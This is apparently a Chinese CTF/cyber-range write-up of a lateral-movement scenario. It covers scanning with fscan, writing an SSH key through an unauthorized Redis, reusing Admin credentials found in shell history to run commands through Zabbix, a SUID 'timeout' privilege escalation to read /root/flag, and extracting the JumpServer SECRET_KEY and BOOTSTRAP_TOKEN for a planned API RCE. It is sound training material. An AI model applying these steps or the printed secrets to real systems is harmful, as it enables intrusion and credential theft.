(后来才知道这台机器就没flag,啥也不说太蠢了)
改密码ssh登上去看算了
echo "root:miaotony111"|chpasswd
# ip a
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
inet 127.0.0.1/8 scope host lo
valid_lft forever preferred_lft forever
inet6 ::1/128 scope host
valid_lft forever preferred_lft forever
2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1450 qdisc pfifo_fast state UP group default qlen 1000
link/ether 52:54:42:26:4c:87 brd ff:ff:ff:ff:ff:ff
inet 10.103.132.0/16 brd 10.103.255.255 scope global eth0
valid_lft forever preferred_lft forever
inet6 fe80::5054:42ff:fe26:4c87/64 scope link
valid_lft forever preferred_lft forever
3: eth1: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1450 qdisc pfifo_fast state UP group default qlen 1000
link/ether 52:54:5b:1b:d9:6e brd ff:ff:ff:ff:ff:ff
inet 192.168.33.77/24 brd 192.168.33.255 scope global eth1
valid_lft forever preferred_lft forever
inet6 fe80::5054:5bff:fe1b:d96e/64 scope link
valid_lft forever preferred_lft forever
(icmp) Target 192.168.33.77 is alive
(icmp) Target 192.168.33.55 is alive
(icmp) Target 192.168.33.127 is alive
(icmp) Target 192.168.33.149 is alive
[*] Icmp alive hosts len is: 4
192.168.33.77:7001 open
192.168.33.55:6379 open
192.168.33.127:3306 open
192.168.33.149:80 open
192.168.33.127:80 open
192.168.33.149:22 open
192.168.33.127:22 open
192.168.33.55:22 open
192.168.33.77:22 open
[*] alive ports len is: 9
start vulscan
[*] WebTitle: http://192.168.33.149 code:200 len:13906 title:None
[*] WebTitle: http://192.168.33.127 code:403 len:4897 title:Apache HTTP Server Test Page powered by CentOS
[+] Redis:192.168.33.55:6379 unauthorized file://dump.rdb
[+] Redis:192.168.33.55:6379 like can write /root/.ssh/
[+] Redis:192.168.33.55:6379 like can write /var/spool/cron/
[*] WebTitle: http://192.168.33.77:7001 code:404 len:1164 title:Error 404--Not Found
[+] InfoScan:http://192.168.33.77:7001 [weblogic]
直接写公钥好了
./fscan_amd64 -h 192.168.33.55 -rf id_ed25519.pub
连上去拿 flag
# ip a
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
inet 127.0.0.1/8 scope host lo
valid_lft forever preferred_lft forever
inet6 ::1/128 scope host
valid_lft forever preferred_lft forever
2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1450 qdisc pfifo_fast state UP group default qlen 1000
link/ether 52:54:1d:7a:2e:db brd ff:ff:ff:ff:ff:ff
inet 10.103.173.192/16 brd 10.103.255.255 scope global eth0
valid_lft forever preferred_lft forever
inet6 fe80::5054:1dff:fe7a:2edb/64 scope link
valid_lft forever preferred_lft forever
3: eth1: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1450 qdisc pfifo_fast state UP group default qlen 1000
link/ether 52:54:4f:1b:b8:25 brd ff:ff:ff:ff:ff:ff
inet 192.168.33.55/24 brd 192.168.33.255 scope global eth1
valid_lft forever preferred_lft forever
inet6 fe80::5054:4fff:fe1b:b825/64 scope link
valid_lft forever preferred_lft forever
还有个10.103.173.192内网啊? 感觉只是大内网重复了?(后来和技术支持确认了就是入口机器共用的网段)
(icmp) Target 10.103.173.192 is alive
(icmp) Target 10.103.173.125 is alive
[*] Icmp alive hosts len is: 2
10.103.173.192:6379 open
10.103.173.192:22 open
10.103.173.125:3306 open
10.103.173.125:80 open
10.103.173.125:22 open
[*] alive ports len is: 5
start vulscan
[*] WebTitle: http://10.103.173.125 code:403 len:4897 title:Apache HTTP Server Test Page powered by CentOS
[+] Redis:10.103.173.192:6379 unauthorized file://dump.rdb
[+] Redis:10.103.173.192:6379 like can write /root/.ssh/
[+] Redis:10.103.173.192:6379 like can write /var/spool/cron/
# history
1 #!/bin/bash
2 #repo.sh
3 git clone https://github.com/program/repo.git
48 #database
49 sudo apt install mysql-server mysql-client
50 sudo mysql_secure_installation
51 sudo mysql
52 CREATE DATABASE my_db;
53 CREATE USER 'my_user' IDENTIFIED BY 'password';
54 GRANT ALL ON my_db.* TO 'my_user';
55 FLUSH PRIVILEGES;
56 exit
57 mysql -u my_user -p
58 SHOW DATABASES;
59 #gitlab
60 sudo apt install gitlab-ce
61 sudo gitlab-ctl reconfigure
62 curl http://192.168.33.127 -u Admin -p bQqYfe5eqN2CttsV
63 cd /home/user1
64 mkdir scripts
65 cd scripts
66 nano script1.sh
67 chmod +x script1.sh
68 ./script1.sh
345 cd /usr/local/redis-3.2.2/
346 ls
347 vim redis.conf
348 src/redis-server redis.conf
http://192.168.33.127/zabbix/
入口机器的历史记录里有一条
curl http://192.168.33.127 -u Admin -p bQqYfe5eqN2CttsV
拿这个用户名密码去登录
Zabbix 5.0.33 后台可以下发执行指令
先添加一下自己想要执行的脚本
jumpserver192.168.33.149: 10050
Zabbix server127.0.0.1: 10050
id; whoami; ps -ef; ls -al /root; cat /root/flag; case $? in [01]) true;; *) false;; esac
uid=997(zabbix) gid=994(zabbix) groups=994(zabbix)
zabbix
UID PID PPID C STIME TTY TIME CMD
root 1 0 0 14:15 ? 00:00:03 /usr/lib/systemd/systemd --switched-root --system --deserialize 21
root 2 0 0 14:15 ? 00:00:00 [kthreadd]
root 4 2 0 14:15 ? 00:00:00 [kworker/0:0H]
root 6 2 0 14:15 ? 00:00:00 [ksoftirqd/0]
root 7 2 0 14:15 ? 00:00:00 [migration/0]
root 8 2 0 14:15 ? 00:00:00 [rcu_bh]
root 9 2 0 14:15 ? 00:00:00 [rcu_sched]
root 10 2 0 14:15 ? 00:00:00 [lru-add-drain]
root 11 2 0 14:15 ? 00:00:00 [watchdog/0]
root 12 2 0 14:15 ? 00:00:00 [watchdog/1]
root 13 2 0 14:15 ? 00:00:00 [migration/1]
root 14 2 0 14:15 ? 00:00:00 [ksoftirqd/1]
root 16 2 0 14:15 ? 00:00:00 [kworker/1:0H]
root 18 2 0 14:15 ? 00:00:00 [kdevtmpfs]
root 19 2 0 14:15 ? 00:00:00 [netns]
root 20 2 0 14:15 ? 00:00:00 [khungtaskd]
root 21 2 0 14:15 ? 00:00:00 [writeback]
root 22 2 0 14:15 ? 00:00:00 [kintegrityd]
root 23 2 0 14:15 ? 00:00:00 [bioset]
root 24 2 0 14:15 ? 00:00:00 [bioset]
root 25 2 0 14:15 ? 00:00:00 [bioset]
root 26 2 0 14:15 ? 00:00:00 [kblockd]
root 27 2 0 14:15 ? 00:00:00 [md]
root 28 2 0 14:15 ? 00:00:00 [edac-poller]
root 29 2 0 14:15 ? 00:00:00 [watchdogd]
root 35 2 0 14:15 ? 00:00:00 [kswapd0]
root 36 2 0 14:15 ? 00:00:00 [ksmd]
root 37 2 0 14:15 ? 00:00:00 [khugepaged]
root 38 2 0 14:15 ? 00:00:00 [crypto]
root 46 2 0 14:15 ? 00:00:00 [kthrotld]
root 47 2 0 14:15 ? 00:00:00 [kworker/u4:1]
root 48 2 0 14:15 ? 00:00:00 [kmpath_rdacd]
root 49 2 0 14:15 ? 00:00:00 [kaluad]
root 50 2 0 14:15 ? 00:00:00 [kworker/1:1]
root 52 2 0 14:15 ? 00:00:00 [kpsmoused]
root 53 2 0 14:15 ? 00:00:00 [kworker/1:2]
root 54 2 0 14:15 ? 00:00:00 [ipv6_addrconf]
root 67 2 0 14:15 ? 00:00:00 [deferwq]
root 131 2 0 14:15 ? 00:00:00 [kauditd]
root 199 2 0 14:15 ? 00:00:00 [rpciod]
root 200 2 0 14:15 ? 00:00:00 [xprtiod]
root 263 2 0 14:15 ? 00:00:00 [kworker/u4:2]
root 267 2 0 14:15 ? 00:00:00 [ata_sff]
root 275 2 0 14:15 ? 00:00:00 [scsi_eh_0]
root 276 2 0 14:15 ? 00:00:00 [scsi_tmf_0]
root 277 2 0 14:15 ? 00:00:00 [kworker/0:1H]
root 279 2 0 14:15 ? 00:00:00 [scsi_eh_1]
root 280 2 0 14:15 ? 00:00:00 [scsi_tmf_1]
root 292 2 0 14:15 ? 00:00:00 [bioset]
root 293 2 0 14:15 ? 00:00:00 [xfsalloc]
root 294 2 0 14:15 ? 00:00:00 [xfs_mru_cache]
root 295 2 0 14:15 ? 00:00:00 [xfs-buf/vda1]
root 296 2 0 14:15 ? 00:00:00 [xfs-data/vda1]
root 297 2 0 14:15 ? 00:00:00 [xfs-conv/vda1]
root 298 2 0 14:15 ? 00:00:00 [xfs-cil/vda1]
root 299 2 0 14:15 ? 00:00:00 [xfs-reclaim/vda]
root 300 2 0 14:15 ? 00:00:00 [xfs-log/vda1]
root 301 2 0 14:15 ? 00:00:00 [xfs-eofblocks/v]
root 302 2 0 14:15 ? 00:00:01 [xfsaild/vda1]
root 303 2 0 14:15 ? 00:00:00 [kworker/1:1H]
root 400 1 0 14:15 ? 00:00:00 /usr/lib/systemd/systemd-journald
root 433 1 0 14:15 ? 00:00:00 /usr/lib/systemd/systemd-udevd
root 467 2 0 14:15 ? 00:00:00 [hwrng]
root 479 1 0 14:15 ? 00:00:00 /sbin/auditd
root 526 2 0 14:15 ? 00:00:00 [kvm-irqfd-clean]
root 531 2 0 14:15 ? 00:00:00 [ttm_swap]
root 552 1 0 14:15 ? 00:00:00 /usr/sbin/irqbalance --foreground
rpc 553 1 0 14:15 ? 00:00:00 /sbin/rpcbind -w
root 555 1 0 14:15 ? 00:00:00 php-fpm: master process (/etc/opt/rh/rh-php72/php-fpm.conf)
root 556 1 0 14:15 ? 00:00:00 /usr/bin/qemu-ga --method=virtio-serial --path=/dev/virtio-ports/org.qemu.guest_agent.0 --blacklist=guest-file-open,guest-file-close,guest-file-read,guest-file-write,guest-file-seek,guest-file-flush,guest-exec,guest-exec-status -F/etc/qemu-ga/fsfreeze-hook
root 559 1 0 14:15 ? 00:00:00 /usr/sbin/rsyslogd -n
root 562 1 0 14:15 ? 00:00:00 /usr/lib/systemd/systemd-logind
polkitd 563 1 0 14:15 ? 00:00:00 /usr/lib/polkit-1/polkitd --no-debug
dbus 564 1 0 14:15 ? 00:00:00 /usr/bin/dbus-daemon --system --address=systemd: --nofork --nopidfile --systemd-activation
root 576 1 0 14:15 ? 00:00:00 /usr/bin/python2 -Es /usr/sbin/tuned -l -P
root 581 1 0 14:15 ? 00:00:00 /usr/sbin/sshd -D
chrony 594 1 0 14:15 ? 00:00:00 /usr/sbin/chronyd
zabbix 604 1 0 14:15 ? 00:00:00 /usr/sbin/zabbix_agentd -c /etc/zabbix/zabbix_agentd.conf
zabbix 612 604 0 14:15 ? 00:00:00 /usr/sbin/zabbix_agentd: collector [idle 1 sec]
zabbix 613 604 0 14:15 ? 00:00:00 /usr/sbin/zabbix_agentd: listener #1 [waiting for connection]
zabbix 614 604 0 14:15 ? 00:00:00 /usr/sbin/zabbix_agentd: listener #2 [waiting for connection]
zabbix 615 604 0 14:15 ? 00:00:00 /usr/sbin/zabbix_agentd: listener #3 [waiting for connection]
zabbix 616 604 0 14:15 ? 00:00:00 /usr/sbin/zabbix_agentd: active checks #1 [idle 1 sec]
root 623 1 0 14:15 ? 00:00:00 /usr/sbin/gssproxy -D
root 648 1 0 14:15 ? 00:00:00 /usr/sbin/httpd -DFOREGROUND
apache 655 555 0 14:15 ? 00:00:00 php-fpm: pool www
apache 656 555 0 14:15 ? 00:00:00 php-fpm: pool www
apache 657 555 0 14:15 ? 00:00:00 php-fpm: pool www
apache 659 555 0 14:15 ? 00:00:00 php-fpm: pool www
root 660 1 0 14:15 tty1 00:00:00 /sbin/agetty --noclear tty1 linux
apache 661 555 0 14:15 ? 00:00:00 php-fpm: pool www
apache 664 555 0 14:15 ? 00:00:05 php-fpm: pool zabbix
apache 665 555 0 14:15 ? 00:00:06 php-fpm: pool zabbix
root 672 1 0 14:15 ? 00:00:00 /usr/sbin/crond -n
apache 673 555 0 14:15 ? 00:00:05 php-fpm: pool zabbix
apache 676 555 0 14:15 ? 00:00:05 php-fpm: pool zabbix
apache 677 555 0 14:15 ? 00:00:05 php-fpm: pool zabbix
root 680 1 0 14:15 ttyS0 00:00:00 /sbin/agetty --keep-baud 115200,38400,9600 ttyS0 vt220
mysql 691 1 0 14:15 ? 00:00:00 /bin/sh /usr/bin/mysqld_safe --basedir=/usr
apache 777 648 0 14:15 ? 00:00:00 /usr/sbin/httpd -DFOREGROUND
apache 778 648 0 14:15 ? 00:00:00 /usr/sbin/httpd -DFOREGROUND
apache 782 648 0 14:15 ? 00:00:00 /usr/sbin/httpd -DFOREGROUND
mysql 959 691 0 14:15 ? 00:00:16 /usr/libexec/mysqld --basedir=/usr --datadir=/var/lib/mysql --plugin-dir=/usr/lib64/mysql/plugin --log-error=/var/log/mariadb/mariadb.log --pid-file=/var/run/mariadb/mariadb.pid --socket=/var/lib/mysql/mysql.sock
root 990 1 0 14:15 ? 00:00:00 /usr/libexec/postfix/master -w
postfix 991 990 0 14:15 ? 00:00:00 pickup -l -t unix -u
postfix 992 990 0 14:15 ? 00:00:00 qmgr -l -t unix -u
zabbix 1176 1 0 14:15 ? 00:00:00 /usr/sbin/zabbix_server -c /etc/zabbix/zabbix_server.conf
zabbix 1183 1176 0 14:15 ? 00:00:00 /usr/sbin/zabbix_server: configuration syncer [synced configuration in 0.041190 sec, idle 60 sec]
zabbix 1188 1176 0 14:15 ? 00:00:00 /usr/sbin/zabbix_server: alert manager #1 [sent 0, failed 0 alerts, idle 5.004719 sec during 5.004815 sec]
zabbix 1189 1176 0 14:15 ? 00:00:00 /usr/sbin/zabbix_server: alerter #1 started
zabbix 1190 1176 0 14:15 ? 00:00:00 /usr/sbin/zabbix_server: alerter #2 started
zabbix 1192 1176 0 14:15 ? 00:00:00 /usr/sbin/zabbix_server: alerter #3 started
zabbix 1193 1176 0 14:15 ? 00:00:00 /usr/sbin/zabbix_server: preprocessing manager #1 [queued 0, processed 7 values, idle 5.001578 sec during 5.001778 sec]
zabbix 1194 1176 0 14:15 ? 00:00:00 /usr/sbin/zabbix_server: preprocessing worker #1 started
zabbix 1195 1176 0 14:15 ? 00:00:00 /usr/sbin/zabbix_server: preprocessing worker #2 started
zabbix 1196 1176 0 14:15 ? 00:00:00 /usr/sbin/zabbix_server: preprocessing worker #3 started
zabbix 1197 1176 0 14:15 ? 00:00:00 /usr/sbin/zabbix_server: lld manager #1 [processed 0 LLD rules, idle 5.002123sec during 5.002194 sec]
zabbix 1198 1176 0 14:15 ? 00:00:00 /usr/sbin/zabbix_server: lld worker #1 [processed 1 LLD rules, idle 1534.422826 sec during 1534.485957 sec]
zabbix 1199 1176 0 14:15 ? 00:00:00 /usr/sbin/zabbix_server: lld worker #2 [processed 1 LLD rules, idle 3089.100561 sec during 3089.433959 sec]
zabbix 1200 1176 0 14:15 ? 00:00:00 /usr/sbin/zabbix_server: housekeeper [deleted 21259 hist/trends, 0 items/triggers, 0 events, 0 sessions, 0 alarms, 0 audit items, 0 records in 4.599678 sec, idle for 1 h
zabbix 1201 1176 0 14:15 ? 00:00:00 /usr/sbin/zabbix_server: timer #1 [updated 0 hosts, suppressed 0 events in 0.000441 sec, idle 59 sec]
zabbix 1203 1176 0 14:15 ? 00:00:00 /usr/sbin/zabbix_server: http poller #1 [got 0 values in 0.000817 sec, idle 5 sec]
zabbix 1205 1176 0 14:15 ? 00:00:00 /usr/sbin/zabbix_server: discoverer #1 [processed 0 rules in 0.000404 sec, idle 60 sec]
zabbix 1207 1176 0 14:15 ? 00:00:00 /usr/sbin/zabbix_server: history syncer #1 [processed 0 values, 0 triggers in 0.000024 sec, idle 1 sec]
zabbix 1208 1176 0 14:15 ? 00:00:00 /usr/sbin/zabbix_server: history syncer #2 [processed 0 values, 0 triggers in 0.000013 sec, idle 1 sec]
zabbix 1209 1176 0 14:15 ? 00:00:00 /usr/sbin/zabbix_server: history syncer #3 [processed 0 values, 0 triggers in 0.000021 sec, idle 1 sec]
zabbix 1210 1176 0 14:15 ? 00:00:00 /usr/sbin/zabbix_server: history syncer #4 [processed 1 values, 0 triggers in 0.008000 sec, idle 1 sec]
zabbix 1211 1176 0 14:15 ? 00:00:00 /usr/sbin/zabbix_server: escalator #1 [processed 0 escalations in 0.001004 sec, idle 3 sec]
zabbix 1212 1176 0 14:15 ? 00:00:00 /usr/sbin/zabbix_server: proxy poller #1 [exchanged data with 0 proxies in 0.000038 sec, idle 5 sec]
zabbix 1213 1176 0 14:15 ? 00:00:00 /usr/sbin/zabbix_server: self-monitoring [processed data in 0.000025 sec, idle 1 sec]
zabbix 1215 1176 0 14:15 ? 00:00:00 /usr/sbin/zabbix_server: task manager [processed 0 task(s) in 0.000201 sec, idle 5 sec]
zabbix 1216 1176 0 14:15 ? 00:00:00 /usr/sbin/zabbix_server: poller #1 [got 0 values in 0.000185 sec, idle 1 sec]
zabbix 1219 1176 0 14:15 ? 00:00:00 /usr/sbin/zabbix_server: poller #2 [got 0 values in 0.000028 sec, idle 1 sec]
zabbix 1221 1176 0 14:15 ? 00:00:00 /usr/sbin/zabbix_server: poller #3 [got 1 values in 0.000427 sec, idle 1 sec]
zabbix 1222 1176 0 14:15 ? 00:00:00 /usr/sbin/zabbix_server: poller #4 [got 0 values in 0.000028 sec, idle 1 sec]
zabbix 1223 1176 0 14:15 ? 00:00:00 /usr/sbin/zabbix_server: poller #5 [got 0 values in 0.000021 sec, idle 1 sec]
zabbix 1224 1176 0 14:15 ? 00:00:00 /usr/sbin/zabbix_server: unreachable poller #1 [got 0 values in 0.000015 sec, idle 5 sec]
zabbix 1226 1176 0 14:15 ? 00:00:00 /usr/sbin/zabbix_server: trapper #1 [processed data in 0.000280 sec, waiting for connection]
zabbix 1228 1176 0 14:15 ? 00:00:00 /usr/sbin/zabbix_server: trapper #2 [processed data in 0.001824 sec, waiting for connection]
zabbix 1229 1176 0 14:15 ? 00:00:00 /usr/sbin/zabbix_server: trapper #3 [processing data]
zabbix 1230 1176 0 14:15 ? 00:00:00 /usr/sbin/zabbix_server: trapper #4 [processed data in 0.000252 sec, waiting for connection]
zabbix 1234 1176 0 14:15 ? 00:00:00 /usr/sbin/zabbix_server: trapper #5 [processed data in 0.000352 sec, waiting for connection]
zabbix 1235 1176 0 14:15 ? 00:00:00 /usr/sbin/zabbix_server: icmp pinger #1 [got 0 values in 0.000017 sec, idle 5 sec]
zabbix 1236 1176 0 14:15 ? 00:00:00 /usr/sbin/zabbix_server: alert syncer [queued 0 alerts(s), flushed 0 result(s) in 0.000829 sec, idle 1 sec]
apache 1365 648 0 14:26 ? 00:00:00 /usr/sbin/httpd -DFOREGROUND
apache 1366 648 0 14:26 ? 00:00:00 /usr/sbin/httpd -DFOREGROUND
apache 1394 648 0 14:29 ? 00:00:00 /usr/sbin/httpd -DFOREGROUND
apache 1395 648 0 14:29 ? 00:00:00 /usr/sbin/httpd -DFOREGROUND
apache 1396 648 0 14:29 ? 00:00:00 /usr/sbin/httpd -DFOREGROUND
apache 1413 555 0 14:30 ? 00:00:05 php-fpm: pool zabbix
apache 1686 648 0 14:50 ? 00:00:00 /usr/sbin/httpd -DFOREGROUND
root 1844 2 0 14:56 ? 00:00:00 [kworker/0:2]
root 1966 1 0 15:01 ? 00:00:00 /usr/sbin/anacron -s
apache 2012 555 0 15:01 ? 00:00:02 php-fpm: pool zabbix
root 2023 2 0 15:02 ? 00:00:00 [kworker/0:0]
apache 2030 555 0 15:02 ? 00:00:02 php-fpm: pool zabbix
apache 2034 648 0 15:02 ? 00:00:00 /usr/sbin/httpd -DFOREGROUND
root 2365 2 0 15:12 ? 00:00:00 [kworker/0:1]
zabbix 2427 1229 0 15:15 ? 00:00:00 sh -c id; whoami; ps -ef; ls -al /root; cat /root/flag; case $? in [01]) true;; *) false;; esac
zabbix 2430 2427 0 15:15 ? 00:00:00 ps -ef
ls: cannot open directory /root: Permission denied
cat: /root/flag: Permission denied
弹shell,然后借助suid权限提权,拿flag
bash-4.2$ find / -perm -u=s -type f 2>/dev/null
find / -perm -u=s -type f 2>/dev/null
/usr/bin/chfn
/usr/bin/chsh
/usr/bin/timeout
/usr/bin/chage
/usr/bin/gpasswd
/usr/bin/newgrp
/usr/bin/su
/usr/bin/mount
/usr/bin/umount
/usr/bin/sudo
/usr/bin/pkexec
/usr/bin/crontab
/usr/bin/passwd
/usr/sbin/pam_timestamp_check
/usr/sbin/unix_chkpwd
/usr/sbin/usernetctl
/usr/sbin/mount.nfs
/usr/sbin/fping
/usr/sbin/fping6
/usr/lib/polkit-1/polkit-agent-helper-1
/usr/libexec/dbus-1/dbus-daemon-launch-helper
bash-4.2$ timeout 1 cat /root/flag
timeout 1 cat /root/flag
flag{RdboeEj0Xml3D9KSCOyigYIansFJ8LVW}
不是 之前那个 jumpserver 远程命令执行RCE漏洞
https://paper.seebug.org/1502/
https://github.com/Skactor/jumpserver_rce 打不通
先上线 zabbix
http://192.168.33.127/zabbix/hosts.php
克隆个Zabbix server模板,然后直接改ip成192.168.33.149
参考 Zabbix与Jumpserver后渗透小记
https://mp.weixin.qq.com/s/OwSZWCshBKJW0b5du7Juhw
弹了 zabbix server shell 连上去,发现这机器上面没有 zabbix_get。。
不过好在后台可以执行,在 配置-主机-监控项 里面,直接搜 vfs.file
然后 clone 一个
发现不在
/etc/zabbix/zabbix_agentd.conf
而是
vfs.file.contents[/opt/jumpserver/config/config.txt]
# JumpServer configuration file example.
#
# 如果不了解用途可以跳过修改此配置文件, 系统会自动填入
# 完整参数文档 https://docs.jumpserver.org/zh/master/admin-guide/env/
################################## 镜像配置 ###################################
#
# 国内连接 docker.io 会超时或下载速度较慢, 开启此选项使用华为云镜像加速
# 取代旧版本 DOCKER_IMAGE_PREFIX
#
# DOCKER_IMAGE_MIRROR=1
################################## 安装配置 ###################################
#
# JumpServer 数据库持久化目录, 默认情况下录像、任务日志都在此目录
# 请根据实际情况修改, 升级时备份的数据库文件(.sql)和配置文件也会保存到该目录
#
VOLUME_DIR=/data/jumpserver
# 加密密钥, 迁移请保证 SECRET_KEY 与旧环境一致, 请勿使用特殊字符串
# (*) Warning: Keep this value secret.
# (*) 勿向任何人泄露 SECRET_KEY
#
SECRET_KEY=MjcxMzE5ZjYtZTE4YS0xMWVkLTk5MDYtYWMxZjZiZGYyOTM0
# 组件向 core 注册使用的 token, 迁移请保持 BOOTSTRAP_TOKEN 与旧环境一致,
# 请勿使用特殊字符串
# (*) Warning: Keep this value secret.
# (*) 勿向任何人泄露 BOOTSTRAP_TOKEN
#
BOOTSTRAP_TOKEN=MjcxMzE5ZjYtZTE4YS0xMWVk
# 日志等级 INFO, WARN, ERROR
#
LOG_LEVEL=ERROR
# JumpServer 容器使用的网段, 请勿与现有的网络冲突, 根据实际情况自行修改
#
DOCKER_SUBNET=192.168.250.0/24
# ipv6 nat, 正常情况下无需开启
# 如果宿主不支持 ipv6 开启此选项将会导致无法获取真实的客户端 ip 地址
#
USE_IPV6=0
DOCKER_SUBNET_IPV6=fc00:1010:1111:200::/64
################################# MySQL 配置 ##################################
# 外置 MySQL 需要输入正确的 MySQL 信息, 内置 MySQL 系统会自动处理
#
DB_HOST=mysql
DB_PORT=3306
DB_USER=root
DB_PASSWORD=MjcxMzE5ZjYtZTE4YS0xMWVkLT
DB_NAME=jumpserver
################################# Redis 配置 ##################################
# 外置 Redis 需要请输入正确的 Redis 信息, 内置 Redis 系统会自动处理
#
REDIS_HOST=redis
REDIS_PORT=6379
REDIS_PASSWORD=MjcxMzE5ZjYtZTE4YS0xMWVkLT
################################## 访问配置 ###################################
# 对外提供服务端口, 如果与现有服务冲突请自行修改
# 如果不想对外提供访问可以使用 127.0.0.1:<port>, eg: 127.0.0.1:33060
#
HTTP_PORT=80
SSH_PORT=2222
MAGNUS_PORTS=30000-30100
################################# HTTPS 配置 #################################
# 参考 https://docs.jumpserver.org/zh/master/admin-guide/proxy/ 配置
#
# USE_LB=1
# HTTPS_PORT=443
# SERVER_NAME=your_domain_name
# SSL_CERTIFICATE=your_cert
# SSL_CERTIFICATE_KEY=your_cert_key
#
CLIENT_MAX_BODY_SIZE=4096m
################################## 组件配置 ###################################
# 组件注册使用, 默认情况下向 core 容器注册, 集群环境需要修改为集群 vip 地址
#
CORE_HOST=http://core:8080
# Task 配置, 是否启动 jms_celery 容器, 单节点必须开启
#
USE_TASK=1
# XPack 包, 企业版本自动开启, 开源版本设置无效
#
RDP_PORT=3389
# Core Session 定义,
# SESSION_COOKIE_AGE 表示闲置多少秒后 session 过期,
# SESSION_EXPIRE_AT_BROWSER_CLOSE=true 表示关闭浏览器即 session 过期
#
# SESSION_COOKIE_AGE=86400
SESSION_EXPIRE_AT_BROWSER_CLOSE=True
# Lion 开启字体平滑, 优化体验
#
JUMPSERVER_ENABLE_FONT_SMOOTHING=True
################################## 其他配置 ##################################
# 终端使用宿主 HOSTNAME 标识, 首次安装自动生成
#
SERVER_HOSTNAME=IDSS
# 当前运行的 JumpServer 版本号, 安装和升级完成后自动生成
#
CURRENT_VERSION=v2.27.0
拿到
SECRET_KEY=MjcxMzE5ZjYtZTE4YS0xMWVkLTk5MDYtYWMxZjZiZGYyOTM0
BOOTSTRAP_TOKEN=MjcxMzE5ZjYtZTE4YS0xMWVk
先利用 BOOTSTRAP_TOKEN 读取 assess_key 和 secret
然后借助 jumpserver 的 API 去执行命令 RCE
但是做到这里比赛结束了,寄!
(然后通宵打了两天,顶不住,随便整理了一下做出来的部分的 wp 直接交平台上就呼呼了,累累)
(然而靶场就关了,后面也复现不起来了)
后面的步骤应该还是参考 Zabbix与Jumpserver后渗透小记这篇文章来
不过赛后和其他师傅聊了下,说再后面还有个 VMware ESXi,要用 log4j 打,但这玩意不是想象中的那么好日,摸了
那就先写到这,下一篇来写一写场景2和场景4的漏洞挖掘过程喵。
(溜了溜了喵)
往期推荐